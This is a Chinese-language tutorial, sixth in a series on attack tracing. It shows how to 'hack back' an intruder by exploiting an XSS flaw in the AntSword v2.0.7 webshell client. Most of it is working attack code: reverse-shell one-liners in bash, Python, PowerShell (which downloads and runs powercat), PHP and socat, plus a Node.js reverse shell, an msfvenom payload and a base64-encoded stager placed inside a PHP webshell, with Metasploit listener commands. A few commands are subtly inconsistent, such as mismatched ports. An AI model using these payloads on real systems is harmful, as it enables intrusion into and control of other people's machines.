溯源(一)之溯源的概念与意义
溯源(二)之 windows-还原攻击路径
溯源(三)之Linux-入侵排查
溯源(四)之流量分析-Wireshark使用
溯源(五)之攻击源的获取
溯源(六)之溯源的方法
在之前文章中我们学习了如何通过Web日志,系统日志,安全设备去获取攻击源,然后再通过获取的攻击源的信息再去寻找攻击者的身份,这些方式都是被动的去寻找攻击者的身份
但这些方法不是万能的,实际入侵中,攻击者都会挂一个代理,或者是对自己的流量进行一个加密,所以如果攻击者在攻击过程中进行了以上的行为,那我们通过Web日志或者安全设备得到的攻击源很大概率上都不是真实的
所以,我们要化被动为主动,去主动获取攻击者的身份,主动去寻找攻击者是一个什么样的思路呢?
举个列子:
第一种,比如我们得到了攻击者的IP,发现对方的IP是一个对方的服务器,那我们是不是可以对对方的服务器发起一个渗透。
第二种,我们也可以部署一个蜜罐,来捕获攻击者,通过蜜罐,我们可以得到攻击者的真实IP或者是攻击者留下的一些身份信息,这些都是主动式的。
第三种,就是我们本文所讲的方法,攻击者平时所用的一些黑客工具,比如中国蚁剑,sqlmap,goby等等这些工具本身存在漏洞,我们是不是可以去利用这个漏洞去反制攻击者
那我们怎么使用这个漏洞去反制攻击者呢?这个和我们常规的渗透思路不太一样,比如说,我们通过web日志发现了攻击者使用中国蚁剑,然后知道了攻击者所使用的中国蚁剑的版本存在漏洞,前提是我们得知道哪些中国蚁剑版本存在漏洞
比如蚁剑的v2.0.7版本,存在一个xss漏洞
现在实验假设在一个情况下,我们的网站被黑客入侵了,然后我们通过分析web日志,安全设备等等,通过这些设备呢?我们是可以查看到攻击者的一个指纹信息,所以我们知道了攻击者所使用的中国蚁剑版本就是v2.0.7版本,那我们该怎么利用这个漏洞得到对方的shell呢?
中国蚁剑v2.0.7工作目录下载地址
中国蚁剑下载地址
中国蚁剑大家都会装吧?这个我就不教了,这个不会的,拷打:)
首先我们向目标服务器的网站目录下上传一句话木马
然后我们访问目标文件,发现目标文件存在
然后我们使用v2.0.7版本的中国蚁剑去连接
成功得到对方网站的控制权限
第一次打开网站时的场景是这样的
由于蚁剑使用是html解析,并没有进行 XSS 保护过滤,html内容被解析了,导致xss漏洞。
更改对方上传的webshell为
'); ?>
当我们第二次去点击连接网站时,就会弹出xss窗口
但是我们去利用这个漏洞,就不仅仅是弹一个窗口而已,而是要拿到入侵者的权限,拿到对方主机的控制权
建立一个控制目标的简易管道,(攻击者再代码中指定服务端,让受害者主机主动连接攻击者的程序)可以通过这个管道连接成功以后去执行系统命令
而建立这个管道有非常多种方式
比如利用Linux中的bash 或者python powershell php nodejs
bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
powershell IEX (New-Object System.Net.Webclient).DownloadString(‘http://192.168.201.129/powercat.ps1‘); powercat -c 192.168.201.129 -p 9999 -e cmd
php -r '$sock=fsockopen("192.168.35.152",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.35.152:7777
我们这里做个实验来帮助大家
机器名 | IP |
---|---|
kali1 | 192.168.52.130 |
kali2 | 192.168.52.132 |
我们在kali1机器上输入
php -r ‘$sock=fsockopen(“192.168.52.132”,2223);exec(“/bin/sh -i &3 2>&3”);’
在kali2上执行
nc -lvvp 2333
我们就在kali2上得到了kali1上反弹过来的shell
那这个场景放在我们本文所讲述的技术中的应用位置在哪呢?我们v2.0.7的蚁剑不是有一个xss弹窗漏洞,如果我们把弹窗的内容改为我们反弹连接的内容比如
php -r '$sock=fsockopen("我们的IP",我们监听的端口);exec("/bin/sh -i <&3 >&3 2>&3");'
然后我们在本地的服务器求去进行一个端口监听,当对方使用蚁剑连接我们的网站时,就会触发xss漏洞,而这个漏洞所执行的代码又被我们修改成了反弹的shell代码,那这样我们是不是就得到入侵者主机的shell
蚁剑支持nodjs脚本,因此可以基于nodejs实现反弹shell
机器名 | IP | 身份 |
---|---|---|
win11 | 192.168.0.106 | 入侵者的主机 |
kali | 192.168.0.105 | 监听端口的服务器 |
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(10086, "192.168.0.105", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
javascrpt是脚本语言 也就是通常情况下用在浏览器,嵌入到HTML网页中,由浏览器一边解释一边执行。 要想在服务器上运行js需要运行环境。
nodejs是一个基于Chrome V8引擎的JavaScript运行环境,可以让JavaScript运行在服务端的开发平台非浏览器上运行,让脚本语言JavaScript能作为服务器语言。
var net = require("net"), sh = require("child_process").exec("cmd.exe");
nodejs基于事件驱动来处理并发,本身是单线程模式运行的。Nodejs通过生成多个子进程来处理其他事物。
在Node.js中,提供了一个child_process模块,通过它可以开启多个子进程,在多个子进程之间可以共享内存空间,可以通过子进程的互相通信来实现信息的交换。
nodejs创建子进程有四种方法,分别是spawn、fork、exec、execFile。
var client = new net.Socket();
client.connect(10086, "192.168.0.105", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);}
net.Socket既可以读也可以写,这个client建立socket链接,实现了将对方cmd.exe的标准输入输出与标准错误流转发到受害者自己的ip:10088端口上。
client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);
首先声明两个概念:主程序(重定向的操纵者)、子进程(被重定向的子进程)
如果要重定位stdout的话,先生成一个管道, 管道的写入端交给子进程去写,主程序从管道的读出端读数据,
然后可以把数据写成文件、显示等等。重定向stderr和stdout是相同的。
同理,要重定向stdin的话,生成一个管道, 管道的写入端由主程序写,子进程从管道的读出端读数据。
当Linux启动的时候会默认打开三个文件描述符,分别是:
标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)
< :是对标准输入 0 重定向 > :是对标准输出 1 重定向
在nodejs中
stdin是标准输入,stdout是标准输出,stderr是标准错误输出。
大多数的命令行程序从stdin输入,输出到stdout或 stderr,重定向stdout,stderr,stdin。
在Windows编程中,重定向需要用到管道(Pipe)的概念。管道是一种用于在进程间共享数据的机制。
一个管道类似于一个管子的两端,一端是写入的,一端是读出的。由一个进程从写入端写入、另一个进程从读出端读出,从而实现通信,就向一个“管道”一样。
1、加密反弹shell代码:
http://www.jsons.cn/base64/ base64在线加解密
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(10086, "192.168.0.105", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
2、在受害服务器中替换webshell内容
");
?>
3、在kali机器上监听端口
nc -lvvp 10086
5、成功反弹shell
反弹shell 得到了目标cmd
MSF生成 node.js
木马:
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.0.105 LPORT=10086 -f raw -o payload.js
cat payload.js
查看并复制代码
同样将代码加密以后替换掉webshell中内容
<?PHP
header("HTTP/1.1 500 Not \`KGZ1bmN0aW9uKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gImNtZCIgOiAiL2Jpbi9zaCI7IHZhciBuZXQgPSByZXF1aXJlKCJuZXQiKSwgY3AgPSByZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksIHV0aWwgPSByZXF1aXJlKCJ1dGlsIiksIHNoID0gY3Auc3Bhd24oY21kLCBbXSk7IHZhciBjbGllbnQgPSB0aGlzOyB2YXIgY291bnRlcj0wOyBmdW5jdGlvbiBTdGFnZXJSZXBlYXQoKXsgY2xpZW50LnNvY2tldCA9IG5ldC5jb25uZWN0KDEwMDg2LCAiMTkyLjE2OC4wLjEwNSIsIGZ1bmN0aW9uKCkgeyBjbGllbnQuc29ja2V0LnBpcGUoc2guc3RkaW4pOyBpZiAodHlwZW9mIHV0aWwucHVtcCA9PT0gInVuZGVmaW5lZCIpIHsgc2guc3Rkb3V0LnBpcGUoY2xpZW50LnNvY2tldCk7IHNoLnN0ZGVyci5waXBlKGNsaWVudC5zb2NrZXQpOyB9IGVsc2UgeyB1dGlsLnB1bXAoc2guc3Rkb3V0LCBjbGllbnQuc29ja2V0KTsgdXRpbC5wdW1wKHNoLnN0ZGVyciwgY2xpZW50LnNvY2tldCk7IH0gfSk7IHNvY2tldC5vbigiZXJyb3IiLCBmdW5jdGlvbihlcnJvcikgeyBjb3VudGVyKys7IGlmKGNvdW50ZXI8PSAxMCl7IHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7IFN0YWdlclJlcGVhdCgpO30sIDUqMTAwMCk7IH0gZWxzZSBwcm9jZXNzLmV4aXQoKTsgfSk7IH0gU3RhZ2VyUmVwZWF0KCk7IH0pKCk7`,`base64`).toString())'>");
?>
MSF开启监听
use exploit/multi/handler
set payload nodejs/shell_reverse_tcp
set lhost 192.168.0.105
set lport 10086
exploit
当攻击者再次点击链接webshell爆红而不知所以然的时候,我们已经成功溯源反制